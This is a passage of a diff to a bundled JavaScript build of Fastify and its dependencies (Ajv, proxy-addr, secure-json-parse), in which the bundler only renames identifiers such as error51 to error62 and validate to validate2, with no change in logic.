+17288,14 @@ var require_execute_with_thenable = __commonJS({ let result; try { result = func.apply(func, args); - } catch (error51) { + } catch (error62) { if (callback) { - process.nextTick(callback, error51); + process.nextTick(callback, error62); } return; } if (isPromiseLike(result) && !result[kAvvio]) { - result.then(() => process.nextTick(callback), (error51) => process.nextTick(callback, error51)); + result.then(() => process.nextTick(callback), (error62) => process.nextTick(callback, error62)); } else if (callback) { process.nextTick(callback); } @@ -18724,8 +18724,8 @@ var require_hooks = __commonJS({ if (fn.length === 1) { try { fn.call(server2, done); - } catch (error51) { - done(error51); + } catch (error62) { + done(error62); } return; } @@ -18735,8 +18735,8 @@ var require_hooks = __commonJS({ ret2.then(done, done); return; } - } catch (error51) { - err = error51; + } catch (error62) { + err = error62; } done(err); }; @@ -18775,8 +18775,8 @@ var require_hooks = __commonJS({ return; } done(); - } catch (error51) { - done(error51); + } catch (error62) { + done(error62); } } } @@ -18791,8 +18791,8 @@ var require_hooks = __commonJS({ let result; try { result = iterator(functions[i++], request, reply, next); - } catch (error51) { - cb(error51, request, reply); + } catch (error62) { + cb(error62, request, reply); return; } if (result && typeof result.then === "function") { @@ -18836,8 +18836,8 @@ var require_hooks = __commonJS({ let result; try { result = functions[i++](request, reply, payload, next); - } catch (error51) { - cb(error51, request, reply); + } catch (error62) { + cb(error62, request, reply); return; } if (result && typeof result.then === "function") { @@ -18876,8 +18876,8 @@ var require_hooks = __commonJS({ let result; try { result = functions[i++](request, reply, request[kRequestPayloadStream], next); - } catch (error51) { - cb(error51, request, reply); + } catch (error62) { + cb(error62, request, reply); return; } if (result && typeof result.then === "function") { @@ -18905,8 +18905,8 @@ var require_hooks = __commonJS({ let result; try { result = functions[i++](request, next); - } catch (error51) { - cb(error51, request); + } catch (error62) { + cb(error62, request); return; } if (result && typeof result.then === "function") { @@ -19418,7 +19418,7 @@ var require_validation = __commonJS({ FST_ERR_SCH_RESPONSE_SCHEMA_NOT_NESTED_2XX } = require_errors2(); var { FSTWRN001, FSTSEC002 } = require_warnings(); - function compileSchemasForSerialization(context2, compile) { + function compileSchemasForSerialization(context2, compile2) { if (!context2.schema || !context2.schema.response) { return; } @@ -19433,7 +19433,7 @@ var require_validation = __commonJS({ const contentTypesSchemas = {}; for (const mediaName of Object.keys(schema.content)) { const contentSchema = schema.content[mediaName].schema; - contentTypesSchemas[mediaName] = compile({ + contentTypesSchemas[mediaName] = compile2({ schema: contentSchema, url: url2, method, @@ -19443,7 +19443,7 @@ var require_validation = __commonJS({ } acc[statusCode] = contentTypesSchemas; } else { - acc[statusCode] = compile({ + acc[statusCode] = compile2({ schema, url: url2, method, @@ -19582,7 +19582,7 @@ var require_validation = __commonJS({ } return void 0; } - function compileSchemasForValidation(context2, compile, isCustom) { + function compileSchemasForValidation(context2, compile2, isCustom) { const { schema } = context2; if (!schema) { return; @@ -19591,14 +19591,14 @@ var require_validation = __commonJS({ const headers = schema.headers; if (headers !== void 0) { if (isCustom || typeof headers !== "object" || headers === null || Object.getPrototypeOf(headers) !== Object.prototype) { - context2[headersSchema] = compile({ schema: headers, method, url: url2, httpPart: "headers" }); + context2[headersSchema] = compile2({ schema: headers, method, url: url2, httpPart: "headers" }); } else { const headersSchemaLowerCase = lowerCaseHeadersSchema(headers); const externalRef = findExternalHeaderRef(headers); if (externalRef !== void 0) { FSTSEC002(method, url2, externalRef); } - context2[headersSchema] = compile({ schema: headersSchemaLowerCase, method, url: url2, httpPart: "headers" }); + context2[headersSchema] = compile2({ schema: headersSchemaLowerCase, method, url: url2, httpPart: "headers" }); } } else if (Object.hasOwn(schema, "headers")) { FSTWRN001("headers", method, url2); @@ -19609,22 +19609,22 @@ var require_validation = __commonJS({ const contentTypeSchemas = {}; for (const contentType of Object.keys(contentProperty)) { const contentSchema = contentProperty[contentType].schema; - contentTypeSchemas[contentType] = compile({ schema: contentSchema, method, url: url2, httpPart: "body", contentType }); + contentTypeSchemas[contentType] = compile2({ schema: contentSchema, method, url: url2, httpPart: "body", contentType }); } context2[bodySchema] = contentTypeSchemas; } else { - context2[bodySchema] = compile({ schema: schema.body, method, url: url2, httpPart: "body" }); + context2[bodySchema] = compile2({ schema: schema.body, method, url: url2, httpPart: "body" }); } } else if (Object.hasOwn(schema, "body")) { FSTWRN001("body", method, url2); } if (schema.querystring !== void 0) { - context2[querystringSchema] = compile({ schema: schema.querystring, method, url: url2, httpPart: "querystring" }); + context2[querystringSchema] = compile2({ schema: schema.querystring, method, url: url2, httpPart: "querystring" }); } else if (Object.hasOwn(schema, "querystring")) { FSTWRN001("querystring", method, url2); } if (schema.params !== void 0) { - context2[paramsSchema] = compile({ schema: schema.params, method, url: url2, httpPart: "params" }); + context2[paramsSchema] = compile2({ schema: schema.params, method, url: url2, httpPart: "params" }); } else if (Object.hasOwn(schema, "params")) { FSTWRN001("params", method, url2); } @@ -19662,7 +19662,7 @@ var require_validation = __commonJS({ return false; } } - function validate(context2, request, execution) { + function validate2(context2, request, execution) { const runExecution = execution === void 0; if (runExecution && context2[paramsSchema] === void 0 && context2[bodySchema] === void 0 && context2[querystringSchema] === void 0 && context2[headersSchema] === void 0) { return false; @@ -19721,7 +19721,7 @@ var require_validation = __commonJS({ if (paramsResult) { return wrapValidationError(paramsResult, "params", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true }); + return validate2(context2, request, { skipParams: true }); }); } function validateAsyncBody(validatePromise, context2, request) { @@ -19729,7 +19729,7 @@ var require_validation = __commonJS({ if (bodyResult) { return wrapValidationError(bodyResult, "body", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true, skipBody: true }); + return validate2(context2, request, { skipParams: true, skipBody: true }); }); } function validateAsyncQuery(validatePromise, context2, request) { @@ -19737,7 +19737,7 @@ var require_validation = __commonJS({ if (queryResult) { return wrapValidationError(queryResult, "querystring", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true, skipBody: true, skipQuery: true }); + return validate2(context2, request, { skipParams: true, skipBody: true, skipQuery: true }); }); } function validateAsyncHeaders(validatePromise, context2, request) { @@ -19755,18 +19755,18 @@ var require_validation = __commonJS({ result.validationContext = result.validationContext || dataVar; return result; } - const error51 = schemaErrorFormatter(result, dataVar); - error51.statusCode = error51.statusCode || 400; - error51.code = error51.code || "FST_ERR_VALIDATION"; - error51.validation = result; - error51.validationContext = dataVar; - return error51; + const error62 = schemaErrorFormatter(result, dataVar); + error62.statusCode = error62.statusCode || 400; + error62.code = error62.code || "FST_ERR_VALIDATION"; + error62.validation = result; + error62.validationContext = dataVar; + return error62; } module.exports = { symbols: { bodySchema, querystringSchema, responseSchema, paramsSchema, headersSchema }, compileSchemasForValidation, compileSchemasForSerialization, - validate + validate: validate2 }; } }); @@ -21444,15 +21444,15 @@ var require_rfdc = __commonJS({ var require_initial_config_validation = __commonJS({ "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/initial-config-validation.js"(exports, module) { "use strict"; - var validate = require_config_validator(); + var validate2 = require_config_validator(); var deepClone = require_rfdc()({ circles: true, proto: false }); var { FST_ERR_INIT_OPTS_INVALID } = require_errors2(); function validateInitialConfig(options) { const opts = deepClone(options); - if (!validate(opts)) { - const error51 = new FST_ERR_INIT_OPTS_INVALID(JSON.stringify(validate.errors.map((e) => e.message))); - error51.errors = validate.errors; - throw error51; + if (!validate2(opts)) { + const error62 = new FST_ERR_INIT_OPTS_INVALID(JSON.stringify(validate2.errors.map((e) => e.message))); + error62.errors = validate2.errors; + throw error62; } return deepFreezeObject(opts); } @@ -21468,7 +21468,7 @@ var require_initial_config_validation = __commonJS({ return Object.freeze(object2); } module.exports = validateInitialConfig; - module.exports.defaultInitOptions = validate.defaultInitOptions; + module.exports.defaultInitOptions = validate2.defaultInitOptions; module.exports.utils = { deepFreezeObject }; } }); @@ -21524,12 +21524,12 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - requestCompleted(error51, request, reply, metadata) { + requestCompleted(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - if (error51) { - reply.log.error({ res: reply, err: error51, responseTime: reply.elapsedTime }, "request errored"); + if (error62) { + reply.log.error({ res: reply, err: error62, responseTime: reply.elapsedTime }, "request errored"); } else { reply.log.info({ res: reply, responseTime: reply.elapsedTime }, "request completed"); } @@ -21543,14 +21543,14 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object (must have `statusCode`). * @param {object} [metadata] Extra contextual data (unused). */ - defaultErrorLog(error51, request, reply, metadata) { + defaultErrorLog(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } if (reply.statusCode >= 500) { - reply.log.error({ req: request, res: reply, err: error51 }, error51?.message); + reply.log.error({ req: request, res: reply, err: error62 }, error62?.message); } else { - reply.log.info({ res: reply, err: error51 }, error51?.message); + reply.log.info({ res: reply, err: error62 }, error62?.message); } } /** @@ -21562,14 +21562,14 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - streamError(error51, request, reply, metadata) { + streamError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - if (error51.code === "ERR_STREAM_PREMATURE_CLOSE") { + if (error62.code === "ERR_STREAM_PREMATURE_CLOSE") { reply.log.info({ res: reply }, "stream closed prematurely"); } else { - reply.log.warn({ err: error51 }, "response terminated with an error with headers already sent"); + reply.log.warn({ err: error62 }, "response terminated with an error with headers already sent"); } } /** @@ -21595,13 +21595,13 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - writeHeadError(error51, request, reply, metadata) { + writeHeadError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } reply.log.warn( - { req: request, res: reply, err: error51 }, - error51?.message + { req: request, res: reply, err: error62 }, + error62?.message ); } /** @@ -21613,11 +21613,11 @@ var require_log_controller = __commonJS({ * @param {object} metadata Extra contextual data. * @param {number} metadata.statusCode The status code that triggered the serializer. */ - serializerError(error51, request, reply, metadata) { + serializerError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - reply.log.error({ err: error51, statusCode: metadata.statusCode }, "The serializer for the given status code failed"); + reply.log.error({ err: error62, statusCode: metadata.statusCode }, "The serializer for the given status code failed"); } /** * Logs a 503 Service Unavailable when the server is closing. @@ -22135,8 +22135,8 @@ var require_error_serializer = __commonJS({ const JSON_STR_EMPTY_ARRAY = JSON_STR_BEGIN_ARRAY + JSON_STR_END_ARRAY; const JSON_STR_EMPTY_STRING = JSON_STR_QUOTE + JSON_STR_QUOTE; const JSON_STR_NULL = "null"; - function anonymous0(input) { - const obj = input && typeof input.toJSON === "function" ? input.toJSON() : input; + function anonymous0(input2) { + const obj = input2 && typeof input2.toJSON === "function" ? input2.toJSON() : input2; if (obj === null) return JSON_STR_EMPTY_OBJECT; let json3 = ""; json3 += JSON_STR_BEGIN_OBJECT; @@ -22237,15 +22237,15 @@ var require_error_handler = __commonJS({ return this.func.name.toString() + "()"; } }; - function handleError(reply, error51, cb) { + function handleError(reply, error62, cb) { reply[kReplyIsRunningOnErrorHook] = false; const context2 = reply[kRouteContext]; if (reply[kReplyNextErrorHandler] === false) { - fallbackErrorHandler(error51, reply, function(reply2, payload) { + fallbackErrorHandler(error62, reply, function(reply2, payload) { try { reply2.raw.writeHead(reply2.raw.statusCode, reply2[kReplyHeaders]); - } catch (error52) { - reply2.server[kLogController].writeHeadError(error52, reply2.request, reply2); + } catch (error63) { + reply2.server[kLogController].writeHeadError(error63, reply2.request, reply2); reply2.raw.writeHead(reply2.raw.statusCode); } reply2.raw.end(payload); @@ -22259,11 +22259,11 @@ var require_error_handler = __commonJS({ const func = errorHandler.func; if (!func) { reply[kReplyNextErrorHandler] = false; - fallbackErrorHandler(error51, reply, cb); + fallbackErrorHandler(error62, reply, cb); return; } try { - const result = func(error51, reply.request, reply); + const result = func(error62, reply.request, reply); if (result !== void 0) { if (result !== null && typeof result.then === "function") { const store = reply[kDiagnosticsStore] || null; @@ -22276,13 +22276,13 @@ var require_error_handler = __commonJS({ reply.send(err); } } - function defaultErrorHandler(error51, request, reply) { - setErrorHeaders(error51, reply); - setErrorStatusCode(reply, error51); - request.server[kLogController].defaultErrorLog(error51, request, reply); - reply.send(error51); + function defaultErrorHandler(error62, request, reply) { + setErrorHeaders(error62, reply); + setErrorStatusCode(reply, error62); + request.server[kLogController].defaultErrorLog(error62, request, reply); + reply.send(error62); } - function fallbackErrorHandler(error51, reply, cb) { + function fallbackErrorHandler(error62, reply, cb) { const res = reply.raw; const statusCode = reply.statusCode; reply[kReplyHeaders]["content-type"] = reply[kReplyHeaders]["content-type"] ?? "application/json; charset=utf-8"; @@ -22292,21 +22292,21 @@ var require_error_handler = __commonJS({ if (serializerFn === false) { payload = serializeError({ error: statusCodes[statusCode + ""], - code: error51.code, - message: error51.message, + code: error62.code, + message: error62.message, statusCode }); } else { - payload = serializerFn(Object.create(error51, { + payload = serializerFn(Object.create(error62, { error: { value: statusCodes[statusCode + ""] }, - message: { value: error51.message }, + message: { value: error62.message }, statusCode: { value: statusCode } })); } } catch (err) { reply.server[kLogController].serializerError(err, reply.request, reply, { statusCode: res.statusCode }); reply.code(500); - payload = serializeError(new FST_ERR_FAILED_ERROR_SERIALIZATION(err.message, error51.message)); + payload = serializeError(new FST_ERR_FAILED_ERROR_SERIALIZATION(err.message, error62.message)); } if (typeof payload !== "string" && !Buffer.isBuffer(payload)) { payload = serializeError(new FST_ERR_REP_INVALID_PAYLOAD_TYPE(typeof payload)); @@ -22322,18 +22322,18 @@ var require_error_handler = __commonJS({ errorHandler.func = func; return errorHandler; } - function setErrorHeaders(error51, reply) { + function setErrorHeaders(error62, reply) { const res = reply.raw; let statusCode = res.statusCode; statusCode = statusCode >= 400 ? statusCode : 500; - if (error51 != null) { - if (error51.headers !== void 0) { - reply.headers(error51.headers); + if (error62 != null) { + if (error62.headers !== void 0) { + reply.headers(error62.headers); } - if (error51.status >= 400) { - statusCode = error51.status; - } else if (error51.statusCode >= 400) { - statusCode = error51.statusCode; + if (error62.status >= 400) { + statusCode = error62.status; + } else if (error62.statusCode >= 400) { + statusCode = error62.statusCode; } } res.statusCode = statusCode; @@ -22818,7 +22818,7 @@ var require_reply = __commonJS({ this[kRouteContext][kReplyCacheSerializeFns].set(schema, serializeFn); return serializeFn; }; - Reply.prototype.serializeInput = function(input, schema, httpStatus, contentType) { + Reply.prototype.serializeInput = function(input2, schema, httpStatus, contentType) { const possibleContentType = httpStatus; let serialize2; httpStatus = typeof schema === "string" || typeof schema === "number" ? schema : httpStatus; @@ -22840,7 +22840,7 @@ var require_reply = __commonJS({ serialize2 = this.compileSerializationSchema(schema, httpStatus, contentType); } } - return serialize2(input); + return serialize2(input2); }; Reply.prototype.serialize = function(payload) { if (this[kReplySerializer] !== null) { @@ -22931,8 +22931,8 @@ var require_reply = __commonJS({ } onSendHook(reply, payload); } - function wrapSerializationError(error51, reply) { - error51.serialization = reply[kRouteContext].config; + function wrapSerializationError(error62, reply) { + error62.serialization = reply[kRouteContext].config; } function onSendHook(reply, payload) { if (reply[kRouteContext].onSend !== null) { @@ -23230,18 +23230,18 @@ var require_reply = __commonJS({ if (reply[kReplyTrailers] === null) return; payload.on("end", () => sendTrailer(null, res, reply)); } - function onErrorHook(reply, error51, cb) { + function onErrorHook(reply, error62, cb) { if (reply[kRouteContext].onError !== null && !reply[kReplyNextErrorHandler]) { reply[kReplyIsRunningOnErrorHook] = true; onSendHookRunner( reply[kRouteContext].onError, reply.request, reply, - error51, - () => handleError(reply, error51, cb) + error62, + () => handleError(reply, error62, cb) ); } else { - handleError(reply, error51, cb); + handleError(reply, error62, cb); } } function setupResponseListeners(reply) { @@ -24204,7 +24204,7 @@ var require_proxy_addr = __commonJS({ module.exports.default = proxyaddr; module.exports.proxyaddr = proxyaddr; module.exports.all = alladdrs; - module.exports.compile = compile; + module.exports.compile = compile2; var forwarded = require_forwarded(); var ipaddr = require_ipaddr(); var DIGIT_REGEXP = /^\d+$/u; @@ -24221,7 +24221,7 @@ var require_proxy_addr = __commonJS({ return addrs; } if (typeof trust !== "function") { - trust = compile(trust); + trust = compile2(trust); } for (let i = 0; i < addrs.length - 1; i++) { if (trust(addrs[i], i)) continue; @@ -24229,7 +24229,7 @@ var require_proxy_addr = __commonJS({ } return addrs; } - function compile(val) { + function compile2(val) { if (!val) { throw new TypeError("argument is required"); } @@ -24670,24 +24670,24 @@ var require_request = __commonJS({ } }, validateInput: { - value: function(input, schema, httpPart) { + value: function(input2, schema, httpPart) { httpPart = typeof schema === "string" ? schema : httpPart; const symbol2 = httpPart != null && typeof httpPart === "string" && HTTP_PART_SYMBOL_MAP[httpPart]; - let validate; + let validate2; if (symbol2) { - validate = this[kRouteContext][symbol2]; + validate2 = this[kRouteContext][symbol2]; } - if (validate == null && (schema == null || typeof schema !== "object" || Array.isArray(schema))) { + if (validate2 == null && (schema == null || typeof schema !== "object" || Array.isArray(schema))) { throw new FST_ERR_REQ_INVALID_VALIDATION_INVOCATION(httpPart); } - if (validate == null) { + if (validate2 == null) { if (this[kRouteContext][kRequestCacheValidateFns]?.has(schema)) { - validate = this[kRouteContext][kRequestCacheValidateFns].get(schema); + validate2 = this[kRouteContext][kRequestCacheValidateFns].get(schema); } else { - validate = this.compileValidationSchema(schema, httpPart); + validate2 = this.compileValidationSchema(schema, httpPart); } } - return validate(input); + return validate2(input2); } }, getDecorator: { @@ -24808,7 +24808,7 @@ var require_secure_json_parse = __commonJS({ var hasBuffer = typeof Buffer !== "undefined"; var suspectProtoRx = /"(?:_|\\u005[Ff])(?:_|\\u005[Ff])(?:p|\\u0070)(?:r|\\u0072)(?:o|\\u006[Ff])(?:t|\\u0074)(?:o|\\u006[Ff])(?:_|\\u005[Ff])(?:_|\\u005[Ff])"\s*:/; var suspectConstructorRx = /"(?:c|\\u0063)(?:o|\\u006[Ff])(?:n|\\u006[Ee])(?:s|\\u0073)(?:t|\\u0074)(?:r|\\u0072)(?:u|\\u0075)(?:c|\\u0063)(?:t|\\u0074)(?:o|\\u006[Ff])(?:r|\\u0072)"\s*:/; - function _parse2(text2, reviver, options) { + function _parse3(text2, reviver, options) { if (options == null) { if (reviver !== null && typeof reviver === "object") { options = reviver; @@ -24850,25 +24850,25 @@ var require_secure_json_parse = __commonJS({ while (next.length) { const nodes = next; next = []; - for (const node of nodes) { - if (protoAction !== "ignore" && Object.prototype.hasOwnProperty.call(node, "__proto__")) { + for (const node2 of nodes) { + if (protoAction !== "ignore" && Object.prototype.hasOwnProperty.call(node2, "__proto__")) { if (safe === true) { return null; } else if (protoAction === "error") { throw new SyntaxError("Object contains forbidden prototype property"); } - delete node.__proto__; + delete node2.__proto__; } - if (constructorAction !== "ignore" && Object.prototype.hasOwnProperty.call(node, "constructor") && node.constructor !== null && typeof node.constructor === "object" && Object.prototype.hasOwnProperty.call(node.constructor, "prototype")) { + if (constructorAction !== "ignore" && Object.prototype.hasOwnProperty.call(node2, "constructor") && node2.constructor !== null && typeof node2.constructor === "object" && Object.prototype.hasOwnProperty.call(node2.constructor, "prototype")) { if (safe === true) { return null; } else if (constructorAction === "error") { throw new SyntaxError("Object contains forbidden prototype property"); } - delete node.constructor; + delete node2.constructor; } - for (const key in node) { - const value = node[key]; + for (const key in node2) { + const value = node2[key]; if (value && typeof value === "object") { next.push(value); } @@ -24881,7 +24881,7 @@ var require_secure_json_parse = __commonJS({ const { stackTraceLimit } = Error; Error.stackTraceLimit = 0; try { - return _parse2(text2, reviver, options); + return _parse3(text2, reviver, options); } finally { Error.stackTraceLimit = stackTraceLimit; } @@ -24890,7 +24890,7 @@ var require_secure_json_parse = __commonJS({ const { stackTraceLimit } = Error; Error.stackTraceLimit = 0; try { - return _parse2(text2, reviver, { safe: true }); + return _parse3(text2, reviver, { safe: true }); } catch { return void 0; } finally { @@ -25075,8 +25075,8 @@ var require_content_type_parser = __commonJS({ return; } const resource = new AsyncResource("content-type-parser:run", request); - function done(error51, body) { - resource.runInAsyncScope(onDone, void 0, error51, body); + function done(error62, body) { + resource.runInAsyncScope(onDone, void 0, error62, body); } if (parser.asString === true || parser.asBuffer === true) { rawBody( @@ -25094,12 +25094,12 @@ var require_content_type_parser = __commonJS({ done(null, body); }, done); } - function onDone(error51, body) { + function onDone(error62, body) { resource.emitDestroy(); - if (error51 != null) { + if (error62 != null) { reply.header("connection", "close"); reply[kReplyIsError] = true; - reply.send(error51); + reply.send(error62); return; } request.body = body; @@ -25697,9 +25697,9 @@ var require_codegen = __commonJS({ } }; var Throw = class extends Node { - constructor(error51) { + constructor(error62) { super(); - this.error = error51; + this.error = error62; } render({ _n }) { return `throw ${this.error};` + _n; @@ -25936,9 +25936,9 @@ var require_codegen = __commonJS({ } }; var Catch = class extends BlockNode { - constructor(error51) { + constructor(error62) { super(); - this.error = error51; + this.error = error62; } render(opts) { return `catch(${this.error})` + super.render(opts); @@ -26064,8 +26064,8 @@ var require_codegen = __commonJS({ endIf() { return this._endBlockNode(If, Else); } - _for(node, forBody) { - this._blockNode(node); + _for(node2, forBody) { + this._blockNode(node2); if (forBody) this.code(forBody).endFor(); return this; @@ -26114,10 +26114,10 @@ var require_codegen = __commonJS({ } // `return` statement return(value) { - const node = new Return(); - this._blockNode(node); + const node2 = new Return(); + this._blockNode(node2); this.code(value); - if (node.nodes.length !== 1) + if (node2.nodes.length !== 1) throw new Error('CodeGen: "return" should have one node'); return this._endBlockNode(Return); } @@ -26125,23 +26125,23 @@ var require_codegen = __commonJS({ try(tryBody, catchCode, finallyCode) { if (!catchCode && !finallyCode) throw new Error('CodeGen: "try" without "catch" and "finally"'); - const node = new Try(); - this._blockNode(node); + const node2 = new Try(); + this._blockNode(node2); this.code(tryBody); if (catchCode) { - const error51 = this.name("e"); - this._currNode = node.catch = new Catch(error51); - catchCode(error51); + const error62 = this.name("e"); + this._currNode = node2.catch = new Catch(error62); + catchCode(error62); } if (finallyCode) { - this._currNode = node.finally = new Finally(); + this._currNode = node2.finally = new Finally(); this.code(finallyCode); } return this._endBlockNode(Catch, Finally); } // `throw` statement - throw(error51) { - return this._leafNode(new Throw(error51)); + throw(error62) { + return this._leafNode(new Throw(error62)); } // start self-balancing block block(body, nodeCount) { @@ -26179,13 +26179,13 @@ var require_codegen = __commonJS({ this._root.optimizeNames(this._root.names, this._constants); } } - _leafNode(node) { - this._currNode.nodes.push(node); + _leafNode(node2) { + this._currNode.nodes.push(node2); return this; } - _blockNode(node) { - this._currNode.nodes.push(node); - this._nodes.push(node); + _blockNode(node2) { + this._currNode.nodes.push(node2); + this._nodes.push(node2); } _endBlockNode(N1, N2) { const n = this._currNode; @@ -26195,12 +26195,12 @@ var require_codegen = __commonJS({ } throw new Error(`CodeGen: not in block "${N2 ? `${N1.kind}/${N2.kind}` : N1.kind}"`); } - _elseNode(node) { + _elseNode(node2) { const n = this._currNode; if (!(n instanceof If)) { throw new Error('CodeGen: "else" without "if"'); } - this._currNode = n.else = node; + this._currNode = n.else = node2; return this; } get _root() { @@ -26210,9 +26210,9 @@ var require_codegen = __commonJS({ const ns = this._nodes; return ns[ns.length - 1]; } - set _currNode(node) { + set _currNode(node2) { const ns = this._nodes; - ns[ns.length - 1] = node; + ns[ns.length - 1] = node2; } }; exports.CodeGen = CodeGen; @@ -26497,10 +26497,10 @@ var require_errors3 = __commonJS({ exports.keyword$DataError = { message: ({ keyword, schemaType }) => schemaType ? (0, codegen_1.str)`"${keyword}" keyword must be ${schemaType} ($data)` : (0, codegen_1.str)`"${keyword}" keyword is invalid ($data)` }; - function reportError(cxt, error51 = exports.keywordError, errorPaths, overrideAllErrors) { + function reportError(cxt, error62 = exports.keywordError, errorPaths, overrideAllErrors) { const { it } = cxt; const { gen, compositeRule, allErrors } = it; - const errObj = errorObjectCode(cxt, error51, errorPaths); + const errObj = errorObjectCode(cxt, error62, errorPaths); if (overrideAllErrors !== null && overrideAllErrors !== void 0 ? overrideAllErrors : compositeRule || allErrors) { addError(gen, errObj); } else { @@ -26508,10 +26508,10 @@ var require_errors3 = __commonJS({ } } exports.reportError = reportError; - function reportExtraError(cxt, error51 = exports.keywordError, errorPaths) { + function reportExtraError(cxt, error62 = exports.keywordError, errorPaths) { const { it } = cxt; const { gen, compositeRule, allErrors } = it; - const errObj = errorObjectCode(cxt, error51, errorPaths); + const errObj = errorObjectCode(cxt, error62, errorPaths); addError(gen, errObj); if (!(compositeRule || allErrors)) { returnErrors(it, names_1.default.vErrors); @@ -26562,19 +26562,19 @@ var require_errors3 = __commonJS({ schema: new codegen_1.Name("schema"), parentSchema: new codegen_1.Name("parentSchema") }; - function errorObjectCode(cxt, error51, errorPaths) { + function errorObjectCode(cxt, error62, errorPaths) { const { createErrors } = cxt.it; if (createErrors === false) return (0, codegen_1._)`{}`; - return errorObject(cxt, error51, errorPaths); + return errorObject(cxt, error62, errorPaths); } - function errorObject(cxt, error51, errorPaths = {}) { + function errorObject(cxt, error62, errorPaths = {}) { const { gen, it } = cxt; const keyValues = [ errorInstancePath(it, errorPaths), errorSchemaPath(cxt, errorPaths) ]; - extraErrorProps(cxt, error51, keyValues); + extraErrorProps(cxt, error62, keyValues); return gen.object(...keyValues); } function errorInstancePath({ errorPath }, { instancePath }) { @@ -27094,8 +27094,8 @@ var require_keyword = __commonJS({ var _a3; const { gen, keyword, schema, parentSchema, $data, it } = cxt; checkAsyncKeyword(it, def); - const validate = !$data && def.compile ? def.compile.call(it.self, schema, parentSchema, it) : def.validate; - const validateRef = useKeyword(gen, keyword, validate); + const validate2 = !$data && def.compile ? def.compile.call(it.self, schema, parentSchema, it) : def.validate; + const validateRef = useKeyword(gen, keyword, validate2); const valid = gen.let("valid"); cxt.block$data(valid, validateKeyword); cxt.ok((_a3 = def.valid) !== null && _a3 !== void 0 ? _a3 : valid); @@ -27106,13 +27106,13 @@ var require_keyword = __commonJS({ modifyData(cxt); reportErrs(() => cxt.error()); } else { - const ruleErrs = def.async ? validateAsync() : validateSync(); + const ruleErrs = def.async ? validateAsync3() : validateSync(); if (def.modifying) modifyData(cxt); reportErrs(() => addErrs(cxt, ruleErrs)); } } - function validateAsync() { + function validateAsync3() { const ruleErrs = gen.let("ruleErrs", null); gen.try(() => assignValid((0, codegen_1._)`await `), (e) => gen.assign(valid, false).if((0, codegen_1._)`${e} instanceof ${it.ValidationError}`, () => gen.assign(ruleErrs, (0, codegen_1._)`${e}.errors`), () => gen.throw(e))); return ruleErrs; @@ -27522,11 +27522,11 @@ var require_resolve = __commonJS({ } return ref; } - function addAnchor(anchor) { - if (typeof anchor == "string") { - if (!ANCHOR.test(anchor)) - throw new Error(`invalid anchor "${anchor}"`); - addRef.call(this, `#${anchor}`); + function addAnchor(anchor2) { + if (typeof anchor2 == "string") { + if (!ANCHOR.test(anchor2)) + throw new Error(`invalid anchor "${anchor2}"`); + addRef.call(this, `#${anchor2}`); } } }); @@ -28168,28 +28168,28 @@ var require_compile = __commonJS({ if (this.opts.code.process) sourceCode = this.opts.code.process(sourceCode, sch); const makeValidate = new Function(`${names_1.default.self}`, `${names_1.default.scope}`, sourceCode); - const validate = makeValidate(this, this.scope.get()); - this.scope.value(validateName, { ref: validate }); - validate.errors = null; - validate.schema = sch.schema; - validate.schemaEnv = sch; + const validate2 = makeValidate(this, this.scope.get()); + this.scope.value(validateName, { ref: validate2 }); + validate2.errors = null; + validate2.schema = sch.schema; + validate2.schemaEnv = sch; if (sch.$async) - validate.$async = true; + validate2.$async = true; if (this.opts.code.source === true) { - validate.source = { validateName, validateCode, scopeValues: gen._values }; + validate2.source = { validateName, validateCode, scopeValues: gen._values }; } if (this.opts.unevaluated) { const { props, items } = schemaCxt; - validate.evaluated = { + validate2.evaluated = { props: props instanceof codegen_1.Name ? void 0 : props, items: items instanceof codegen_1.Name ? void 0 : items, dynamicProps: props instanceof codegen_1.Name, dynamicItems: items instanceof codegen_1.Name }; - if (validate.source) - validate.source.evaluated = (0, codegen_1.stringify)(validate.evaluated); + if (validate2.source) + validate2.source.evaluated = (0, codegen_1.stringify)(validate2.evaluated); } - sch.validate = validate; + sch.validate = validate2; return sch; } catch (e) { delete sch.validate; @@ -28355,27 +28355,27 @@ var require_utils = __commonJS({ } return BYTE_HEX[240 | cp >> 18] + BYTE_HEX[128 | cp >> 12 & 63] + BYTE_HEX[128 | cp >> 6 & 63] + BYTE_HEX[128 | cp & 63]; } - function stringArrayToHexStripped(input) { + function stringArrayToHexStripped(input2) { let acc = ""; let code = 0; let i = 0; - for (i = 0; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i = 0; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (code === 48) { continue; } if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; break; } - for (i += 1; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i += 1; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; } return acc; } @@ -28418,11 +28418,11 @@ var require_utils = __commonJS({ const tail = hextets.slice(bestStart + bestLength).join(":"); return head + "::" + tail; } - function normalizeIPv6Address(input) { - const compression = input.indexOf("::"); - if (compression !== -1 && input.indexOf("::", compression + 1) !== -1) return void 0; - const left = compression === -1 ? input.split(":") : input.slice(0, compression).split(":"); - const right = compression === -1 ? [] : input.slice(compression + 2).split(":"); + function normalizeIPv6Address(input2) { + const compression = input2.indexOf("::"); + if (compression !== -1 && input2.indexOf("::", compression + 1) !== -1) return void 0; + const left = compression === -1 ? input2.split(":") : input2.slice(0, compression).split(":"); + const right 